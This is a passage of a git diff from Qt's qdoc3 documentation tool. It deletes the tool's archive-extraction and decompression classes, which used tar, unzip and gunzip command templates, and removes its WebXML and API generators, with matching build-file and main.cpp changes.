uncompressedFiles.begin(); - while (f != uncompressedFiles.end()) { - QDir().remove(*f); - ++f; - } - uncompressedFiles.clear(); - - QMap::ConstIterator d = extractedDirs.begin(); - while (d != extractedDirs.end()) { - removeDirContents(*d); - QDir dir(*d); - QString name = dir.dirName(); - dir.cdUp(); - dir.rmdir(name); - ++d; - } - extractedDirs.clear(); - } } /*! @@ -456,62 +432,18 @@ QString Config::findFile(const Location& location, QStringList::ConstIterator c = components.begin(); for (;;) { bool isArchive = (c != components.end() - 1); - ArchiveExtractor *extractor = 0; QString userFriendly = *c; - if (isArchive) { - extractor = ArchiveExtractor::extractorForFileName(userFriendly); - } - - if (extractor == 0) { - Uncompressor *uncompressor = - Uncompressor::uncompressorForFileName(userFriendly); - if (uncompressor != 0) { - QString fileNameWithCorrectExtension = - uncompressor->uncompressedFilePath( - fileInfo.filePath()); - QString uncompressed = uncompressedFiles[fileInfo.filePath()]; - if (uncompressed.isEmpty()) { - uncompressed = - QTemporaryFile(fileInfo.filePath()).fileName(); - uncompressor->uncompressFile(location, - fileInfo.filePath(), - uncompressed); - uncompressedFiles[fileInfo.filePath()] = uncompressed; - } - fileInfo.setFile(uncompressed); - - if (isArchive) { - extractor = ArchiveExtractor::extractorForFileName( - fileNameWithCorrectExtension); - } - else { - userFriendly = fileNameWithCorrectExtension; - } - } - } userFriendlyFilePath += userFriendly; if (isArchive) { - if (extractor == 0) - location.fatal(tr("Unknown archive type '%1'") - .arg(userFriendlyFilePath)); QString extracted = extractedDirs[fileInfo.filePath()]; - if (extracted.isEmpty()) { - extracted = QTemporaryFile(fileInfo.filePath()).fileName(); - if (!QDir().mkdir(extracted)) - location.fatal(tr("Cannot create temporary directory '%1'") - .arg(extracted)); - extractor->extractArchive(location, fileInfo.filePath(), - extracted); - extractedDirs[fileInfo.filePath()] = extracted; - } ++c; fileInfo.setFile(QDir(extracted), *c); } - else { + else break; - } + userFriendlyFilePath += "?"; } return fileInfo.filePath(); diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index c0efd76..74e966a 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -674,35 +674,6 @@ void Generator::generateExampleFiles(const FakeNode *fake, CodeMarker *marker) generateFileList(fake, marker, Node::Image, QString("Images:")); } -#if 0 - QList::ConstIterator g = generators.begin(); - while (g != generators.end()) { - if (outputFormats.contains((*g)->format())) { - (*g)->initializeGenerator(config); - QStringList extraImages = - config.getStringList(CONFIG_EXTRAIMAGES+Config::dot+(*g)->format()); - QStringList::ConstIterator e = extraImages.begin(); - while (e != extraImages.end()) { - QString userFriendlyFilePath; - QString filePath = Config::findFile(config.lastLocation(), - imageFiles, - imageDirs, - *e, - imgFileExts[(*g)->format()], - userFriendlyFilePath); - if (!filePath.isEmpty()) - Config::copyFile(config.lastLocation(), - filePath, - userFriendlyFilePath, - (*g)->outputDir() + - "/images"); - ++e; - } - } - ++g; - } -#endif - QString Generator::indent(int level, const QString& markedCode) { if (level == 0) diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 7459e40..768c5eb 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -45,7 +45,6 @@ #include #include -#include "apigenerator.h" #include "codemarker.h" #include "codeparser.h" #include "config.h" @@ -54,9 +53,6 @@ #include "doc.h" #include "htmlgenerator.h" #include "plaincodemarker.h" -#include "polyarchiveextractor.h" -#include "polyuncompressor.h" -#include "webxmlgenerator.h" #include "ditaxmlgenerator.h" #include "tokenizer.h" #include "tree.h" @@ -369,24 +365,6 @@ int main(int argc, char **argv) #ifndef QT_BOOTSTRAPPED QCoreApplication app(argc, argv); #endif - QString cf = "qsauncompress \1 \2"; - PolyArchiveExtractor qsaExtractor(QStringList() << "qsa",cf); - cf = "tar -C \2 -xf \1"; - PolyArchiveExtractor tarExtractor(QStringList() << "tar",cf); - cf = "tar -C \2 -Zxf \1"; - PolyArchiveExtractor tazExtractor(QStringList() << "taz",cf); - cf = "tar -C \2 -jxf \1"; - PolyArchiveExtractor tbz2Extractor(QStringList() << "tbz" << "tbz2",cf); - cf = "tar -C \2 -zxf \1"; - PolyArchiveExtractor tgzExtractor(QStringList() << "tgz",cf); - cf = "unzip \1 -d \2"; - PolyArchiveExtractor zipExtractor(QStringList() << "zip",cf); - cf = "bunzip2 -c \1 > \2"; - PolyUncompressor bz2Uncompressor(QStringList() << "bz" << "bz2",cf); - cf = "gunzip -c \1 > \2"; - PolyUncompressor gzAndZUncompressor(QStringList() << "gz" << "z" << "Z",cf); - cf = "unzip -c \1 > \2"; - PolyUncompressor zipUncompressor(QStringList() << "zip",cf); /* Create code parsers for the languages to be parsed, @@ -401,9 +379,7 @@ int main(int argc, char **argv) PlainCodeMarker plainMarker; CppCodeMarker cppMarker; - ApiGenerator apiGenerator; HtmlGenerator htmlGenerator; - WebXMLGenerator webxmlGenerator; DitaXmlGenerator ditaxmlGenerator; QStringList qdocFiles; diff --git a/tools/qdoc3/polyarchiveextractor.cpp b/tools/qdoc3/polyarchiveextractor.cpp deleted file mode 100644 index b2574ab..0000000 --- a/tools/qdoc3/polyarchiveextractor.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyarchiveextractor.cpp -*/ - -#include "command.h" -#include "polyarchiveextractor.h" - -QT_BEGIN_NAMESPACE - -/*! - \class PolyArchiveExtractor - - \brief The PolyArchiveExtractor class is a class for unpacking - archive files. - - This subclass of ArchiveExtractor contains a parameterized - command for doing the archive extraction. - - It has an extractArchive() function you call to do the - actual archive extraction. - */ - -/*! - The constructor takes the list of filename \a extensions, - which it passes to the base class, and the \a commandFormat, - which it stores locally. The \a commandFormat is a command - template string. - */ -PolyArchiveExtractor::PolyArchiveExtractor( const QStringList& extensions, - const QString& commandFormat ) - : ArchiveExtractor( extensions ), cmd( commandFormat ) -{ -} - -/*! - The destructor doesn't have to do anything. - */ -PolyArchiveExtractor::~PolyArchiveExtractor() -{ -} - -/*! - Call this function to do the actual archive extraction. It calls - the executeCommand() function to do the work. That's all it does. - */ -void PolyArchiveExtractor::extractArchive( const Location& location, - const QString& filePath, - const QString& outputDir ) -{ - executeCommand( location, cmd, QStringList() << filePath << outputDir ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/polyarchiveextractor.h b/tools/qdoc3/polyarchiveextractor.h deleted file mode 100644 index 7ed0f62..0000000 --- a/tools/qdoc3/polyarchiveextractor.h +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyarchiveextractor.h -*/ - -#ifndef POLYARCHIVEEXTRACTOR_H -#define POLYARCHIVEEXTRACTOR_H - -#include "archiveextractor.h" - -QT_BEGIN_NAMESPACE - -class PolyArchiveExtractor : public ArchiveExtractor -{ - public: - PolyArchiveExtractor(const QStringList& extensions, - const QString& commandFormat); - ~PolyArchiveExtractor(); - - virtual void extractArchive(const Location& location, - const QString& filePath, - const QString& outputDir); - - private: - QString cmd; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/polyuncompressor.cpp b/tools/qdoc3/polyuncompressor.cpp deleted file mode 100644 index 97b5e0d..0000000 --- a/tools/qdoc3/polyuncompressor.cpp +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "command.h" -#include "polyuncompressor.h" - -QT_BEGIN_NAMESPACE - -/*! - \class PolyUncompressor - - \brief The PolyUncompressor class is a class for uncompressing - compressed files. - - This subclass of Uncompressor contains a parameterized - command for doing the uncompression - - It has an uncompressFile() function you call to do the - actual uncompression. - */ - -/*! - The constructor takes the list of filename \a extensions, - which it passes to the base class, and the \a commandFormat, - which it stores locally. The \a commandFormat is a command - template string. - */ -PolyUncompressor::PolyUncompressor( const QStringList& extensions, - const QString& commandFormat ) - : Uncompressor( extensions ), cmd( commandFormat ) -{ -} - -/*! - The destructor doesn't have to do anything. - */ -PolyUncompressor::~PolyUncompressor() -{ -} - -/*! - From \a filePath, derive a file path for the uncompressed - file and return it. If it can't figure out what the file - path should be, it just concatenates ".out" to the - \a filePath and returns that. - */ -QString PolyUncompressor::uncompressedFilePath( const QString& filePath ) -{ - QStringList::ConstIterator e = fileExtensions().begin(); - while ( e != fileExtensions().end() ) { - QString dotExt = "." + *e; - if ( filePath.endsWith(dotExt) ) - return filePath.left( filePath.length() - dotExt.length() ); - ++e; - } - return filePath + ".out"; // doesn't really matter -} - -/*! - Call this function to do the actual uncompressing. It calls - the executeCommand() function to do the work. That's all it does. - */ -void PolyUncompressor::uncompressFile( const Location& location, - const QString& filePath, - const QString& outputFilePath ) -{ - executeCommand( location, cmd, - QStringList() << filePath << outputFilePath ); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/polyuncompressor.h b/tools/qdoc3/polyuncompressor.h deleted file mode 100644 index e12f475..0000000 --- a/tools/qdoc3/polyuncompressor.h +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - polyuncompressor.h -*/ - -#ifndef POLYUNCOMPRESSOR_H -#define POLYUNCOMPRESSOR_H - -#include "uncompressor.h" - -QT_BEGIN_NAMESPACE - -class PolyUncompressor : public Uncompressor -{ - public: - PolyUncompressor(const QStringList& extensions, - const QString& commandFormat); - ~PolyUncompressor(); - - virtual QString uncompressedFilePath(const QString& filePath); - virtual void uncompressFile(const Location& location, - const QString& filePath, - const QString& outputFilePath); - - private: - QString cmd; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 9b76d97..77c95f8 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -24,9 +24,7 @@ build_all:!build_pass { } CONFIG -= app_bundle -HEADERS += apigenerator.h \ - archiveextractor.h \ - atom.h \ +HEADERS += atom.h \ ccodeparser.h \ codechunk.h \ codemarker.h \ @@ -46,19 +44,13 @@ HEADERS += apigenerator.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ - polyarchiveextractor.h \ - polyuncompressor.h \ quoter.h \ separator.h \ text.h \ tokenizer.h \ tr.h \ - tree.h \ - uncompressor.h \ - webxmlgenerator.h -SOURCES += apigenerator.cpp \ - archiveextractor.cpp \ - atom.cpp \ + tree.h +SOURCES += atom.cpp \ ccodeparser.cpp \ codechunk.cpp \ codemarker.cpp \ @@ -79,15 +71,11 @@ SOURCES += apigenerator.cpp \ openedlist.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ - polyarchiveextractor.cpp \ - polyuncompressor.cpp \ quoter.cpp \ separator.cpp \ text.cpp \ tokenizer.cpp \ tree.cpp \ - uncompressor.cpp \ - webxmlgenerator.cpp \ yyindent.cpp ### Documentation for qdoc3 ### diff --git a/tools/qdoc3/uncompressor.cpp b/tools/qdoc3/uncompressor.cpp deleted file mode 100644 index afb88e6..0000000 --- a/tools/qdoc3/uncompressor.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - uncompressor.cpp -*/ - -#include "uncompressor.h" - -QT_BEGIN_NAMESPACE - -QList Uncompressor::uncompressors; - - -/*! - \class Uncompressor - - \brief The Uncompressor class is a base class for classes that - know how to uncompress a certain kind of compressed file. - - The uncompressor contains a list of the filename extensions - of the file types that the uncompressor knows how to uncompress. - - It maintains a static list of all the instances of Uncompressor - that have been created. It also has a static function for searching - that list to find the uncompressor to use for uncompressing a file - with a certain extension. - */ - -/*! - The constructor takes a list of filename extensions, which it - copies and saves internally. This uncompressor is prepended - to the stack list. - */ -Uncompressor::Uncompressor( const QStringList& extensions ) - : fileExts( extensions ) -{ - uncompressors.prepend( this ); -} - -/*! - The destructor deletes all the filename extensions. - */ -Uncompressor::~Uncompressor() -{ - uncompressors.removeAll( this ); -} - -/*! - This function searches the static list of uncompressors to find the - first one that can handle \a fileName. If it finds an acceptable - uncompressor, it returns a pointer to it. Otherwise it returns null. -*/ -Uncompressor* -Uncompressor::uncompressorForFileName( const QString& fileName ) -{ - int dot = -1; - while ( (dot = fileName.indexOf(".", dot + 1)) != -1 ) { - QString ext = fileName.mid( dot + 1 ); - QList::ConstIterator u = uncompressors.begin(); - while ( u != uncompressors.end() ) { - if ( (*u)->fileExtensions().contains(ext) ) - return *u; - ++u; - } - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/uncompressor.h b/tools/qdoc3/uncompressor.h deleted file mode 100644 index cae675f..0000000 --- a/tools/qdoc3/uncompressor.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - uncompressor.h -*/ - -#ifndef UNCOMPRESSOR_H -#define UNCOMPRESSOR_H - -#include - -#include "location.h" - -QT_BEGIN_NAMESPACE - -class Uncompressor -{ -public: - Uncompressor( const QStringList& extensions ); - virtual ~Uncompressor(); - - virtual QString uncompressedFilePath( const QString& filePath ) = 0; - virtual void uncompressFile( const Location& location, - const QString& filePath, - const QString& outputFilePath ) = 0; - - static Uncompressor *uncompressorForFileName( const QString& fileName ); - -protected: - const QStringList& fileExtensions() const { return fileExts; } - -private: - QStringList fileExts; - - static QList uncompressors; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/webxmlgenerator.cpp b/tools/qdoc3/webxmlgenerator.cpp deleted file mode 100644 index 6020b1b..0000000 --- a/tools/qdoc3/webxmlgenerator.cpp +++ /dev/null @@ -1,1195 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - webxmlgenerator.cpp -*/ - -#include "codemarker.h" -#include "pagegenerator.h" -#include "webxmlgenerator.h" -#include "node.h" -#include "separator.h" -#include "tree.h" - -#include - -QT_BEGIN_NAMESPACE - -#define COMMAND_VERSION Doc::alias("version") - -WebXMLGenerator::WebXMLGenerator() - : PageGenerator() -{ -} - -WebXMLGenerator::~WebXMLGenerator() -{ -} - -void WebXMLGenerator::initializeGenerator(const Config &config) -{ - Generator::initializeGenerator(config); - - project = config.getString(CONFIG_PROJECT); - - projectDescription = config.getString(CONFIG_DESCRIPTION); - if (projectDescription.isEmpty() && !project.isEmpty()) - projectDescription = project + " Reference Documentation"; - - projectUrl = config.getString(CONFIG_URL); - - generateIndex = config.getBool(CONFIG_GENERATEINDEX); -} - -void WebXMLGenerator::terminateGenerator() -{ - PageGenerator::terminateGenerator(); -} - -QString WebXMLGenerator::format() -{ - return "WebXML"; -} - -QString WebXMLGenerator::fileExtension(const Node * /* node */) const -{ - return "xml"; -} - -void WebXMLGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - tre = tree; - moduleClassMap.clear(); - moduleNamespaceMap.clear(); - serviceClasses.clear(); - findAllClasses(tree->root()); - findAllNamespaces(tree->root()); - - PageGenerator::generateTree(tree, marker); - - if (generateIndex) - tre->generateIndex(outputDir() + "/" + project.toLower() + ".index", - projectUrl, projectDescription, false); -} - -void WebXMLGenerator::startText(const Node *relative, CodeMarker *marker) -{ - inLink = false; - inContents = false; - inSectionHeading = false; - numTableRows = 0; - sectionNumber.clear(); - PageGenerator::startText(relative, marker); -} - -int WebXMLGenerator::generateAtom(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker) -{ - Q_UNUSED(writer); - - int skipAhead = 0; - - switch (atom->type()) { - default: - PageGenerator::generateAtom(atom, relative, marker); - } - return skipAhead; -} - -void WebXMLGenerator::generateClassLikeNode(const InnerNode *inner, - CodeMarker *marker) -{ - QByteArray data; - QXmlStreamWriter writer(&data); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("WebXML"); - writer.writeStartElement("document"); - - generateIndexSections(writer, inner, marker); - - writer.writeEndElement(); // document - writer.writeEndElement(); // WebXML - writer.writeEndDocument(); - - out() << data; - out().flush(); -} - -void WebXMLGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) -{ - QByteArray data; - QXmlStreamWriter writer(&data); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("WebXML"); - writer.writeStartElement("document"); - - generateIndexSections(writer, fake, marker); - - writer.writeEndElement(); // document - writer.writeEndElement(); // WebXML - writer.writeEndDocument(); - - out() << data; - out().flush(); -} - -void WebXMLGenerator::generateIndexSections(QXmlStreamWriter &writer, - const Node *node, CodeMarker *marker) -{ - if (tre->generateIndexSection(writer, node, true)) { - - // Add documentation to this node if it exists. - writer.writeStartElement("description"); - writer.writeAttribute("path", node->doc().location().filePath()); - writer.writeAttribute("line", QString::number(node->doc().location().lineNo())); - writer.writeAttribute("column", QString::number(node->doc().location().columnNo())); - - if (node->type() == Node::Fake) { - - const FakeNode *fake = static_cast(node); - - generateRelations(writer, node, marker); - - if (fake->subType() == Node::Module) { - writer.writeStartElement("generatedlist"); - writer.writeAttribute("contents", "classesbymodule"); - - if (moduleNamespaceMap.contains(fake->name())) { - writer.writeStartElement("section"); - writer.writeStartElement("heading"); - writer.writeAttribute("level", "1"); - writer.writeCharacters("Namespaces"); - writer.writeEndElement(); // heading - generateAnnotatedList(writer, fake, marker, moduleNamespaceMap[fake->name()]); - writer.writeEndElement(); // section - } - if (moduleClassMap.contains(fake->name())) { - writer.writeStartElement("section"); - writer.writeStartElement("heading"); - writer.writeAttribute("level", "1"); - writer.writeCharacters("Classes"); - writer.writeEndElement(); // heading - generateAnnotatedList(writer, fake, marker, moduleClassMap[fake->name()]); - writer.writeEndElement(); // section - } - - writer.writeEndElement(); // generatedlist - } - } - - startText(node, marker); - - const Atom *atom = node->doc().body().firstAtom(); - while (atom) - atom = addAtomElements(writer, atom, node, marker); - - QList alsoList = node->doc().alsoList(); - supplementAlsoList(node, alsoList); - - if (!alsoList.isEmpty()) { - writer.writeStartElement("see-also"); - for (int i = 0; i < alsoList.size(); ++i) { - const Atom *atom = alsoList.at(i).firstAtom(); - while (atom) - atom = addAtomElements(writer, atom, node, marker); - } - writer.writeEndElement(); // see-also - } - - writer.writeEndElement(); // description - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - - // Recurse to generate an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generateIndexSections(writer, child, marker); - - writer.writeStartElement("related"); - if (inner->relatedNodes().size() > 0) { - foreach (const Node *child, inner->relatedNodes()) - generateIndexSections(writer, child, marker); - } - writer.writeEndElement(); // related - } - writer.writeEndElement(); - } -} - -void WebXMLGenerator::generateInnerNode(const InnerNode *node, CodeMarker *marker) -{ - if (!node->url().isNull()) - return; - - if (node->type() == Node::Fake) { - const FakeNode *fakeNode = static_cast(node); - if (fakeNode->subType() == Node::ExternalPage) - return; - } - - if ( node->parent() != 0 ) { - beginSubPage( node->location(), fileName(node) ); - if ( node->type() == Node::Namespace || node->type() == Node::Class) { - generateClassLikeNode(node, marker); - } else if ( node->type() == Node::Fake ) { - generateFakeNode(static_cast(node), marker); - } - endSubPage(); - } - - NodeList::ConstIterator c = node->childNodes().begin(); - while ( c != node->childNodes().end() ) { - if ((*c)->isInnerNode() && ( - (*c)->access() != Node::Private || (*c)->status() == Node::Internal)) - generateInnerNode( (const InnerNode *) *c, marker ); - ++c; - } -} - -const Atom *WebXMLGenerator::addAtomElements(QXmlStreamWriter &writer, - const Atom *atom, const Node *relative, CodeMarker *marker) -{ - switch (atom->type()) { - case Atom::AbstractLeft: - case Atom::AbstractRight: - break; - case Atom::AutoLink: - if (!inLink && !inSectionHeading) { - const Node *node = findNode(atom, relative, marker); - if (node) { - startLink(writer, atom, node, relative); - if (inLink) { - writer.writeCharacters(atom->string()); - writer.writeEndElement(); // link - inLink = false; - } - } else - writer.writeCharacters(atom->string()); - } else - writer.writeCharacters(atom->string()); - break; - case Atom::BaseName: - break; - case Atom::BriefLeft: - - writer.writeStartElement("brief"); - switch (relative->type()) { - case Node::Property: - writer.writeCharacters("This property"); - break; - case Node::Variable: - writer.writeCharacters("This variable"); - break; - default: - break; - } - if (relative->type() == Node::Property || relative->type() == Node::Variable) { - QString str; - const Atom *a = atom->next(); - while (a != 0 && a->type() != Atom::BriefRight) { - if (a->type() == Atom::String || a->type() == Atom::AutoLink) - str += a->string(); - a = a->next(); - } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.chop(1); - - QStringList words = str.split(" "); - if (!(words.first() == "contains" || words.first() == "specifies" - || words.first() == "describes" || words.first() == "defines" - || words.first() == "holds" || words.first() == "determines")) - writer.writeCharacters(" holds "); - else - writer.writeCharacters(" "); - } - break; - - case Atom::BriefRight: - if (relative->type() == Node::Property || relative->type() == Node::Variable) - writer.writeCharacters("."); - - writer.writeEndElement(); // brief - break; - - case Atom::C: - writer.writeStartElement("teletype"); - if (inLink) - writer.writeAttribute("type", "normal"); - else - writer.writeAttribute("type", "highlighted"); - - writer.writeCharacters(plainCode(atom->string())); - writer.writeEndElement(); // teletype - break; - - case Atom::Code: - writer.writeTextElement("code", trimmedTrailing(plainCode(atom->string()))); - break; - -#ifdef QDOC_QML - case Atom::Qml: - writer.writeTextElement("qml", trimmedTrailing(plainCode(atom->string()))); -#endif - - case Atom::CodeBad: - writer.writeTextElement("badcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeNew: - writer.writeTextElement("para", "you can rewrite it as"); - writer.writeTextElement("newcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeOld: - writer.writeTextElement("para", "For example, if you have code like"); - writer.writeTextElement("oldcode", trimmedTrailing(plainCode(atom->string()))); - break; - - case Atom::CodeQuoteArgument: - if (quoteCommand == "dots") { - writer.writeAttribute("indent", atom->string()); - writer.writeCharacters("..."); - } else - writer.writeCharacters(atom->string()); - writer.writeEndElement(); // code - break; - - case Atom::CodeQuoteCommand: - quoteCommand = atom->string(); - writer.writeStartElement(quoteCommand); - break; - - case Atom::FootnoteLeft: - writer.writeStartElement("footnote"); - break; - - case Atom::FootnoteRight: - writer.writeEndElement(); // footnote - break; -/* - case Atom::FormatElse: - writer.writeStartElement("else"); - writer.writeEndElement(); // else - break; -*/ - case Atom::FormatEndif: - writer.writeEndElement(); // raw - break; - case Atom::FormatIf: - writer.writeStartElement("raw"); - writer.writeAttribute("format", atom->string()); - break; - case Atom::FormattingLeft: - { - if (atom->string() == ATOM_FORMATTING_BOLD) - writer.writeStartElement("bold"); - else if (atom->string() == ATOM_FORMATTING_ITALIC) - writer.writeStartElement("italic"); - else if (atom->string() == ATOM_FORMATTING_UNDERLINE) - writer.writeStartElement("underline"); - else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT) - 